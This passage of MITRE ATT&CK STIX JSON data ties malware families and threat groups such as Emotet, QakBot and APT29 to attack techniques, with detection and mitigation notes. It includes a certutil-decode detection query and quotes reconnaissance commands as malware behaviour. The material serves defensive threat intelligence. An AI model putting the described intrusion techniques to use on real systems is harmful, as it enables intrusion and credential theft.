"target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0bb1573c-f30f-449c-931e-c5de024e96f8", "type": "relationship", "created": "2021-04-25T21:45:21.073Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNSHUTTLE Mar 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", "description": "Smith, L., Leathery, J., Read, B. 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(2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. 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(2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. 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(2019, January 31). Malicious Activity Report: Elements of  Lokibot Infostealer. Retrieved May 15, 2020."}], "modified": "2020-05-18T22:00:40.664Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has used several packing methods for obfuscation.(Citation: Infoblox Lokibot January 2019)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0c56b369-b665-4001-87ff-d27ae135cc64", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto DNS Requests", "description": "Grunzweig, J., et al. (2016, May 24). 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0c6329d8-4f00-4b3b-aa82-3bc2e9f14766", "type": "relationship", "created": "2020-11-19T17:07:09.448Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR SLOTHFULMEDIA October 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a", "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}], "modified": "2020-11-19T17:07:09.448Z", "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has sent system information to a C2 server via HTTP and HTTPS POST requests.(Citation: CISA MAR SLOTHFULMEDIA October 2020)", "relationship_type": "uses", "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0c76bb94-1a6e-4ec6-9faa-2b444d80002c", "created": "2019-03-25T18:35:14.682Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Binary Defense Emotes Wi-Fi Spreader", "description": "Binary Defense. (n.d.). Emotet Evolves With new Wi-Fi Spreader. Retrieved September 8, 2023.", "url": "https://www.binarydefense.com/resources/blog/emotet-evolves-with-new-wi-fi-spreader/"}, {"source_name": "CIS Emotet Dec 2018", "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/"}, {"source_name": "Secureworks Emotet Nov 2018", "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader"}, {"source_name": "Malwarebytes Emotet Dec 2017", "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", "url": "https://support.malwarebytes.com/docs/DOC-2295"}, {"source_name": "Symantec Emotet Jul 2018", "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor"}, {"source_name": "US-CERT Emotet Jul 2018", "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T20:14:18.899Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed using a hard coded list of passwords to brute force user accounts. (Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: CIS Emotet Dec 2018)(Citation: Binary Defense Emotes Wi-Fi Spreader)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0c78e3a7-45c5-454f-8905-a831fbede841", "type": "relationship", "created": "2017-05-31T21:33:27.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). 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(2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017."}, {"source_name": "Microsoft DRSR Dec 2017", "url": "https://msdn.microsoft.com/library/cc228086.aspx", "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017."}, {"source_name": "Microsoft GetNCCChanges", "url": "https://msdn.microsoft.com/library/dd207691.aspx", "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017."}, {"source_name": "Microsoft SAMR", "url": "https://msdn.microsoft.com/library/cc245496.aspx", "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017."}, {"source_name": "Samba DRSUAPI", "url": "https://wiki.samba.org/index.php/DRSUAPI", "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017."}, {"source_name": "Harmj0y DCSync Sept 2015", "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/", "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Monitor for replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)", "modified": "2022-04-18T18:53:21.123Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0cb7daf3-9c55-4210-a2a8-c5e40cf4ffbd", "created": "2022-04-15T16:11:17.043Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe", "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.", "url": "https://www.mandiant.com/resources/russian-targeting-gov-business"}, {"source_name": "NCSC et al APT29 2024", "description": "UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.", "url": "https://www.ic3.gov/Media/News/2024/240226.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-06T19:15:37.761Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has used repeated MFA requests to gain access to victim accounts.(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)(Citation: NCSC et al APT29 2024)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shell Crew Feb 2017", "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}], "modified": "2020-03-19T22:02:49.063Z", "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate processes.(Citation: Cylance Shell Crew Feb 2017)", "relationship_type": "uses", "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0cbe929a-96e2-4ff8-bf8d-501a9a8d2ad2", "created": "2021-09-28T20:33:51.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike Qakbot October 2020", "description": "CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021.", "url": "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/"}, {"source_name": "Trend Micro Black Basta October 2022", "description": "Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.", "url": "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"}, {"source_name": "Kaspersky QakBot September 2021", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.", "url": "https://securelist.com/qakbot-technical-analysis/103931/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-15T18:12:49.769Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can identify remote systems through the <code>net view</code> command.(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)(Citation: Trend Micro Black Basta October 2022)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0cc48b39-3f2c-4c27-be1a-0fb6cd7bcaaf", "created": "2022-06-06T18:40:53.300Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Accenture Lyceum Targets November 2021", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns", "description": "Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."}, {"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) can establish persistence on a targeted host with scheduled tasks.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)", "modified": "2022-06-16T15:16:49.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0cc7cd3a-629e-4f90-9fca-1dde823fa428", "type": "relationship", "created": "2019-04-23T12:36:16.778Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:47:00.132Z", "description": "[Empire](https://attack.mitre.org/software/S0363) has modules for enumerating domain trusts.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ccca05d-955c-40fa-9fd4-c10480abcf3d", "type": "relationship", "created": "2019-01-29T21:27:25.282Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "modified": "2019-09-09T19:10:53.368Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) uses a tool called CLEANTOAD that has the capability to modify Registry keys.(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ccddf91-2cf3-4801-a10b-ca4d253f2c8c", "type": "relationship", "created": "2019-06-24T16:21:04.537Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-17T12:40:55.371Z", "description": "Use multi-factor authentication wherever possible.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ccf649d-0e00-411f-8aef-74534b3591b5", "type": "relationship", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.856Z", "description": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.", "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e", "type": "relationship", "created": "2017-05-31T21:33:27.059Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "source_name": "CrowdStrike Putter Panda"}], "modified": "2019-03-25T16:53:38.861Z", "description": "(Citation: CrowdStrike Putter Panda)", "relationship_type": "uses", "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", "target_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0cde11e7-e81f-4e32-a076-92ac53e88112", "type": "relationship", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.836Z", "description": "Monitor for API calls that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0cde4443-ca79-439d-ba98-e6c4aa57e70a", "type": "relationship", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.868Z", "description": "Monitor executed commands and arguments that may abuse security support providers (SSPs) to execute DLLs when the system boots.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ce8fbfc-10cf-4fd4-8314-5a3f184a986d", "type": "relationship", "created": "2021-09-30T12:58:59.406Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT QakBot April 2021", "url": "https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot", "description": "Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}], "modified": "2021-10-12T18:16:40.807Z", "description": "(Citation: ATT QakBot April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--94873029-f950-4268-9cfd-5032e15cb182", "target_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0ce9c0f3-6da9-402c-adc4-a001877e40e6", "created": "2022-06-07T17:22:56.787Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-07T17:22:56.787Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0cf04ae0-bc60-46e8-8cc7-9311e291dc20", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:49:07.554Z", "description": "Monitor for newly executed processes that attempt to hide artifacts of an intrusion, such as common archive file applications and extensions (ex: Zip and RAR archive tools), and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.\n\nCertUtil.exe may be used to\u00a0encode\u00a0and\u00a0decode\u00a0a file, including PE and script code. Encoding will convert a file to base64 with\u00a0-----BEGIN CERTIFICATE-----\u00a0and\u00a0-----END CERTIFICATE-----\u00a0tags. Malicious usage will include decoding an encoded file that was downloaded. Once decoded, it will be loaded by a parallel process. Note that there are two additional command switches that may be used -\u00a0encodehex\u00a0and\u00a0decodehex. Similarly, the file will be encoded in HEX and later decoded for further execution. During triage, identify the source of the file being decoded. Review its contents or execution behavior for further analysis.\n\nAnalytic Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The analytic is oriented around the creation of CertUtil.exe processes, which may be used to encode and\u00a0decode files, including PE and script code. Malicious usage will include decoding a encoded file that was downloaded. Once decoded, it will be loaded by a parallel process.\n\nAnalytic 1 - CertUtil with Decode Argument\n\n<code>  (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\u201dC:\\Windows\\System32\\certutil.exe\u201d AND\n  CommandLine= *decode* )</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0cf14628-b4c0-470a-9059-43fc562717d8", "type": "relationship", "created": "2019-04-19T15:30:36.821Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A", "source_name": "US-CERT HOPLIGHT Apr 2019"}], "modified": "2019-04-22T19:41:53.438Z", "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system.(Citation: US-CERT HOPLIGHT Apr 2019)\t", "relationship_type": "uses", "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0cf2ae01-9d19-46d7-949e-e6d7a5639a95", "type": "relationship", "created": "2021-01-29T20:02:21.777Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rewterz Sidewinder APT April 2020", "url": "https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis", "description": "Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."}], "modified": "2021-07-21T12:24:09.285Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used the Windows service <code>winmgmts:\\\\.\\root\\SecurityCenter2</code> to check installed antivirus products.(Citation: Rewterz Sidewinder APT April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0cf8d5da-a127-4b48-bbf9-e5a0376033b4", "type": "relationship", "created": "2020-10-06T16:10:42.495Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA SoreFang July 2016", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a", "description": "CISA. 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Retrieved September 29, 2020."}], "modified": "2020-10-06T16:10:42.495Z", "description": "[SoreFang](https://attack.mitre.org/software/S0516) can enumerate domain accounts via <code>net.exe user /domain</code>.(Citation: CISA SoreFang July 2016)", "relationship_type": "uses", "source_ref": "malware--e33e4603-afab-402d-b2a1-248d435b5fe0", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d018c26-4bfa-452b-a355-e6b68c57b855", "type": "relationship", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.837Z", "description": "Monitor for newly executed processes that may establish persistence by executing malicious content triggered by a file type association.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d06a9f1-fc35-4f35-a628-3515b0686747", "type": "relationship", "created": "2020-01-31T12:42:44.324Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-31T12:42:44.324Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d0b4507-b600-41f1-be98-03909e5d99cf", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. 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Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}], "modified": "2020-05-12T22:13:16.872Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating 